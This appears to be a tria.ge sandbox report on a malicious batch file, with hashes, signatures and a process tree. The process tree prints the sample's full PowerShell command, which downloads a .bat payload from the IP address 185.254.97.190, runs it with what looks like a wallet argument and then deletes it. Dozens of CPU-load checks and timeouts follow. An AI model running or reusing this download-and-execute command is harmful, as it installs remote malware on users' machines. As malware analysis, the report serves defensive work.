Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01/07/2024, 19:56
Static task
static1
Behavioral task
behavioral1
Sample
125873205730459.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
125873205730459.bat
Resource
win10v2004-20240508-en
General
-
Target
125873205730459.bat
-
Size
524B
-
MD5
92b307667679cc4bca93a2417be6137b
-
SHA1
5347620d753e52dbd274d04ae87356e09fe1c16d
-
SHA256
9646675a0d5cb5ccf4aa9408fc698bf5d020d27015c69c9c1ab0e2290137fdd5
-
SHA512
d99751550c337010791b8522ce1966384b41b2f17d6bfaf89034ce9ef25e2648e99ce5b345c6858c79b7af65b357036b42ed88447bca5854644d12ce9cf8a791
Malware Config
Extracted
http://185.254.97.190:2024/test.txt
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 4920 powershell.exe -
pid Process 4920 powershell.exe -
Delays execution with timeout.exe 63 IoCs
pid Process 1884 timeout.exe 512 timeout.exe 4588 timeout.exe 1748 timeout.exe 3984 timeout.exe 212 timeout.exe 4000 timeout.exe 2208 timeout.exe 3276 timeout.exe 3484 timeout.exe 3496 timeout.exe 3884 timeout.exe 824 timeout.exe 4804 timeout.exe 3512 timeout.exe 4640 timeout.exe 2052 timeout.exe 3776 timeout.exe 2668 timeout.exe 3740 timeout.exe 2104 timeout.exe 4588 timeout.exe 3520 timeout.exe 3000 timeout.exe 2920 timeout.exe 1832 timeout.exe 3468 timeout.exe 4548 timeout.exe 540 timeout.exe 3596 timeout.exe 5084 timeout.exe 4364 timeout.exe 5056 timeout.exe 540 timeout.exe 4796 timeout.exe 388 timeout.exe 3940 timeout.exe 4732 timeout.exe 944 timeout.exe 3828 timeout.exe 3496 timeout.exe 1132 timeout.exe 3924 timeout.exe 224 timeout.exe 1308 timeout.exe 2044 timeout.exe 1532 timeout.exe 5036 timeout.exe 4928 timeout.exe 1832 timeout.exe 3984 timeout.exe 3004 timeout.exe 1140 timeout.exe 1708 timeout.exe 2692 timeout.exe 1608 timeout.exe 3668 timeout.exe 3940 timeout.exe 3376 timeout.exe 1596 timeout.exe 1944 timeout.exe 4236 timeout.exe 1708 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4920 powershell.exe 4920 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4920 powershell.exe Token: SeIncreaseQuotaPrivilege 1396 WMIC.exe Token: SeSecurityPrivilege 1396 WMIC.exe Token: SeTakeOwnershipPrivilege 1396 WMIC.exe Token: SeLoadDriverPrivilege 1396 WMIC.exe Token: SeSystemProfilePrivilege 1396 WMIC.exe Token: SeSystemtimePrivilege 1396 WMIC.exe Token: SeProfSingleProcessPrivilege 1396 WMIC.exe Token: SeIncBasePriorityPrivilege 1396 WMIC.exe Token: SeCreatePagefilePrivilege 1396 WMIC.exe Token: SeBackupPrivilege 1396 WMIC.exe Token: SeRestorePrivilege 1396 WMIC.exe Token: SeShutdownPrivilege 1396 WMIC.exe Token: SeDebugPrivilege 1396 WMIC.exe Token: SeSystemEnvironmentPrivilege 1396 WMIC.exe Token: SeRemoteShutdownPrivilege 1396 WMIC.exe Token: SeUndockPrivilege 1396 WMIC.exe Token: SeManageVolumePrivilege 1396 WMIC.exe Token: 33 1396 WMIC.exe Token: 34 1396 WMIC.exe Token: 35 1396 WMIC.exe Token: 36 1396 WMIC.exe Token: SeIncreaseQuotaPrivilege 1396 WMIC.exe Token: SeSecurityPrivilege 1396 WMIC.exe Token: SeTakeOwnershipPrivilege 1396 WMIC.exe Token: SeLoadDriverPrivilege 1396 WMIC.exe Token: SeSystemProfilePrivilege 1396 WMIC.exe Token: SeSystemtimePrivilege 1396 WMIC.exe Token: SeProfSingleProcessPrivilege 1396 WMIC.exe Token: SeIncBasePriorityPrivilege 1396 WMIC.exe Token: SeCreatePagefilePrivilege 1396 WMIC.exe Token: SeBackupPrivilege 1396 WMIC.exe Token: SeRestorePrivilege 1396 WMIC.exe Token: SeShutdownPrivilege 1396 WMIC.exe Token: SeDebugPrivilege 1396 WMIC.exe Token: SeSystemEnvironmentPrivilege 1396 WMIC.exe Token: SeRemoteShutdownPrivilege 1396 WMIC.exe Token: SeUndockPrivilege 1396 WMIC.exe Token: SeManageVolumePrivilege 1396 WMIC.exe Token: 33 1396 WMIC.exe Token: 34 1396 WMIC.exe Token: 35 1396 WMIC.exe Token: 36 1396 WMIC.exe Token: SeIncreaseQuotaPrivilege 3392 WMIC.exe Token: SeSecurityPrivilege 3392 WMIC.exe Token: SeTakeOwnershipPrivilege 3392 WMIC.exe Token: SeLoadDriverPrivilege 3392 WMIC.exe Token: SeSystemProfilePrivilege 3392 WMIC.exe Token: SeSystemtimePrivilege 3392 WMIC.exe Token: SeProfSingleProcessPrivilege 3392 WMIC.exe Token: SeIncBasePriorityPrivilege 3392 WMIC.exe Token: SeCreatePagefilePrivilege 3392 WMIC.exe Token: SeBackupPrivilege 3392 WMIC.exe Token: SeRestorePrivilege 3392 WMIC.exe Token: SeShutdownPrivilege 3392 WMIC.exe Token: SeDebugPrivilege 3392 WMIC.exe Token: SeSystemEnvironmentPrivilege 3392 WMIC.exe Token: SeRemoteShutdownPrivilege 3392 WMIC.exe Token: SeUndockPrivilege 3392 WMIC.exe Token: SeManageVolumePrivilege 3392 WMIC.exe Token: 33 3392 WMIC.exe Token: 34 3392 WMIC.exe Token: 35 3392 WMIC.exe Token: 36 3392 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4816 wrote to memory of 4920 4816 cmd.exe 81 PID 4816 wrote to memory of 4920 4816 cmd.exe 81 PID 4816 wrote to memory of 532 4816 cmd.exe 83 PID 4816 wrote to memory of 532 4816 cmd.exe 83 PID 532 wrote to memory of 1396 532 cmd.exe 84 PID 532 wrote to memory of 1396 532 cmd.exe 84 PID 4816 wrote to memory of 1884 4816 cmd.exe 86 PID 4816 wrote to memory of 1884 4816 cmd.exe 86 PID 4816 wrote to memory of 2288 4816 cmd.exe 87 PID 4816 wrote to memory of 2288 4816 cmd.exe 87 PID 2288 wrote to memory of 3392 2288 cmd.exe 88 PID 2288 wrote to memory of 3392 2288 cmd.exe 88 PID 4816 wrote to memory of 1944 4816 cmd.exe 89 PID 4816 wrote to memory of 1944 4816 cmd.exe 89 PID 4816 wrote to memory of 2348 4816 cmd.exe 90 PID 4816 wrote to memory of 2348 4816 cmd.exe 90 PID 2348 wrote to memory of 2660 2348 cmd.exe 91 PID 2348 wrote to memory of 2660 2348 cmd.exe 91 PID 4816 wrote to memory of 4640 4816 cmd.exe 92 PID 4816 wrote to memory of 4640 4816 cmd.exe 92 PID 4816 wrote to memory of 4684 4816 cmd.exe 93 PID 4816 wrote to memory of 4684 4816 cmd.exe 93 PID 4684 wrote to memory of 2228 4684 cmd.exe 94 PID 4684 wrote to memory of 2228 4684 cmd.exe 94 PID 4816 wrote to memory of 1140 4816 cmd.exe 96 PID 4816 wrote to memory of 1140 4816 cmd.exe 96 PID 4816 wrote to memory of 2912 4816 cmd.exe 97 PID 4816 wrote to memory of 2912 4816 cmd.exe 97 PID 2912 wrote to memory of 2124 2912 cmd.exe 98 PID 2912 wrote to memory of 2124 2912 cmd.exe 98 PID 4816 wrote to memory of 2044 4816 cmd.exe 99 PID 4816 wrote to memory of 2044 4816 cmd.exe 99 PID 4816 wrote to memory of 3700 4816 cmd.exe 100 PID 4816 wrote to memory of 3700 4816 cmd.exe 100 PID 3700 wrote to memory of 3964 3700 cmd.exe 101 PID 3700 wrote to memory of 3964 3700 cmd.exe 101 PID 4816 wrote to memory of 512 4816 cmd.exe 102 PID 4816 wrote to memory of 512 4816 cmd.exe 102 PID 4816 wrote to memory of 4692 4816 cmd.exe 105 PID 4816 wrote to memory of 4692 4816 cmd.exe 105 PID 4692 wrote to memory of 4648 4692 cmd.exe 106 PID 4692 wrote to memory of 4648 4692 cmd.exe 106 PID 4816 wrote to memory of 3496 4816 cmd.exe 108 PID 4816 wrote to memory of 3496 4816 cmd.exe 108 PID 4816 wrote to memory of 1288 4816 cmd.exe 109 PID 4816 wrote to memory of 1288 4816 cmd.exe 109 PID 1288 wrote to memory of 2224 1288 cmd.exe 110 PID 1288 wrote to memory of 2224 1288 cmd.exe 110 PID 4816 wrote to memory of 1608 4816 cmd.exe 111 PID 4816 wrote to memory of 1608 4816 cmd.exe 111 PID 4816 wrote to memory of 2776 4816 cmd.exe 113 PID 4816 wrote to memory of 2776 4816 cmd.exe 113 PID 2776 wrote to memory of 3020 2776 cmd.exe 114 PID 2776 wrote to memory of 3020 2776 cmd.exe 114 PID 4816 wrote to memory of 4928 4816 cmd.exe 115 PID 4816 wrote to memory of 4928 4816 cmd.exe 115 PID 4816 wrote to memory of 776 4816 cmd.exe 116 PID 4816 wrote to memory of 776 4816 cmd.exe 116 PID 776 wrote to memory of 940 776 cmd.exe 117 PID 776 wrote to memory of 940 776 cmd.exe 117 PID 4816 wrote to memory of 3884 4816 cmd.exe 120 PID 4816 wrote to memory of 3884 4816 cmd.exe 120 PID 4816 wrote to memory of 3180 4816 cmd.exe 121 PID 4816 wrote to memory of 3180 4816 cmd.exe 121
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\125873205730459.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://185.254.97.190:2024/test.txt', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2288 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:776 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4676
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3464
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:672
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3700
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:716
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2192
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4308
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4260
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3520
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1132
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3596
-
-
